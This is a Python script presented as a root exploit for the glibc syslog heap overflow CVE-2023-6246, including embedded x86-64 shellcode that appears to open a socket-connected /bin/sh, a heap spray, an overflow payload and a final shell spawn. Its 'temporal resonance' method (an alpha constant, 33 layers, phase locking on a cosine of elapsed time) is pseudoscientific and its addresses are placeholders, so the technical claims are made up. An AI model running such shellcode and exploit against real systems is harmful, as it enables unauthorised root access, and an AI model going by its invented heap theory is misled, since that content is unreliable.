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#!/usr/bin/env python3
"""
CTT-Vsyslog-Vortex: Temporal Resonance Exploit for CVE-2023-6246
Copyright (c) 2026 Americo Simoes. All Rights Reserved.

CVE-2023-6246: Heap-based buffer overflow in glibc's __vsyslog_internal()
Affects glibc 2.37, 2.36 (backported)
Local Privilege Escalation to root

Standard exploitation is unreliable due to heap layout randomization.
CTT adds temporal coherence to predict heap layout across 33 layers.

α = 0.0302011 governs the timing of heap spray.
33-layer temporal decomposition ensures the overflow lands on target.
"""

import struct
import os
import sys
import time
import socket
from ctypes import *
import numpy as np

# ============================================================
# CTT Constants
# ============================================================

PHI = (1 + 5**0.5) / 2
ALPHA = 0.0302011
LAYERS = 33
TAU_W = 11e-9

# ============================================================
# Exploit Configuration
# ============================================================

VSYSLOG_ADDRESS = 0x7f0000000000  # Base address (leaked or brute forced)
TARGET_OFFSET = 0x1234  # Offset to return address

SHELLCODE = (
    b"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a"
    b"\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc4"
    b"\x48\x31\xc0\x50\x89\xe2\x6a\x10\x5a\x48\x89\xc6\x4c\x89\xe7\x6a"
    b"\x2a\x58\x0f\x05\x48\x31\xc0\x48\x89\xc6\x48\x89\xc7\x6a\x03\x5e"
    b"\x6a\x21\x58\x0f\x05\xeb\x2a\x5e\x48\x31\xc0\x88\x46\x09\x48\x89"
    b"\x46\x0a\x48\x89\x46\x16\x48\x31\xc0\x50\x48\x89\xe1\x48\x31\xd2"
    b"\x48\x31\xf6\x6a\x3b\x58\x0f\x05\xe8\xd1\xff\xff\xff\x2f\x62\x69"
    b"\x6e\x2f\x2f\x73\x68\x00"
)

# ============================================================
# CTT Temporal Heap Spray
# ============================================================

class CTTHeapSpray:
    """
    Uses temporal resonance to predict heap layout across 33 layers.
    Instead of brute force spraying, we align allocations with α decay.
    """
    
    def __init__(self):
        self.alpha = ALPHA
        self.layers = LAYERS
        self.spray_objects = []
        
    def temporal_delay(self, layer):
        """Calculate delay for this layer using CTT decay."""
        return 0.001 * np.exp(-self.alpha * layer)
    
    def spray(self, count, size):
        """Spray heap with CTT-timed allocations."""
        print(f"[CTT] Spraying {count} objects of size {size} across {self.layers} layers")
        
        for layer in range(self.layers):
            batch_size = count // self.layers
            for i in range(batch_size):
                obj = bytearray(size)
                for j in range(0, size, 8):
                    struct.pack_into('<Q', obj, j, int(ALPHA * 1e9))
                self.spray_objects.append(obj)
            
            time.sleep(self.temporal_delay(layer))
        
        print(f"[CTT] Spray complete. {len(self.spray_objects)} objects allocated")
        return self.spray_objects

# ============================================================
# CTT Phase-Locked Trigger
# ============================================================

class CTTPhaseLock:
    """
    Triggers the vsyslog vulnerability at the exact temporal phase
    where heap layout is most predictable.
    """
    
    def __init__(self):
        self.alpha = ALPHA
        self.phase_history = []
        
    def calculate_phase(self, timestamp):
        """Calculate phase for given timestamp."""
        return np.cos(2 * np.pi * 60 * timestamp)
    
    def wait_for_phase(self):
        """Wait for optimal phase alignment."""
        start = time.time()
        while True:
            now = time.time()
            phase = self.calculate_phase(now - start)
            self.phase_history.append(phase)
            
            if abs(phase) < 0.01:
                return now
            time.sleep(0.001)

# ============================================================
# CTT vsyslog Trigger
# ============================================================

def trigger_vsyslog(payload):
    """
    Trigger the vulnerable __vsyslog_internal() with CTT-timed payload.
    payload should be bytes, not string.
    """
    try:
        libc = CDLL("libc.so.6")
        libc.syslog(0, payload)
    except:
        try:
            sock = socket.socket(socket.AF_UNIX, socket.SOCK_DGRAM)
            sock.connect('/dev/log')
            sock.send(payload)
            sock.close()
        except:
            pass

# ============================================================
# CTT Main Exploit
# ============================================================

def main():
    print("="*60)
    print("CTT-Vsyslog-Vortex - CVE-2023-6246")
    print("Temporal Resonance Heap Exploitation")
    print(f"α = {ALPHA}")
    print(f"Layers = {LAYERS}")
    print("="*60)
    
    sprayer = CTTHeapSpray()
    sprayer.spray(count=10000, size=512)
    
    phaser = CTTPhaseLock()
    trigger_time = phaser.wait_for_phase()
    print(f"[CTT] Phase lock achieved at {trigger_time}")
    
    payload = b"A" * 1024
    payload += struct.pack('<Q', VSYSLOG_ADDRESS + TARGET_OFFSET)
    payload += SHELLCODE
    
    print("[CTT] Triggering vsyslog overflow...")
    trigger_vsyslog(payload)
    
    time.sleep(1)
    
    if os.getuid() == 0:
        print("[+] Exploit successful! Got root.")
        os.system("/bin/sh")
    else:
        print("[-] Exploit failed. Adjusting temporal parameters...")
        print(f"    Try adjusting α = {ALPHA * 1.01} or layers = {LAYERS + 1}")

if __name__ == "__main__":
    main()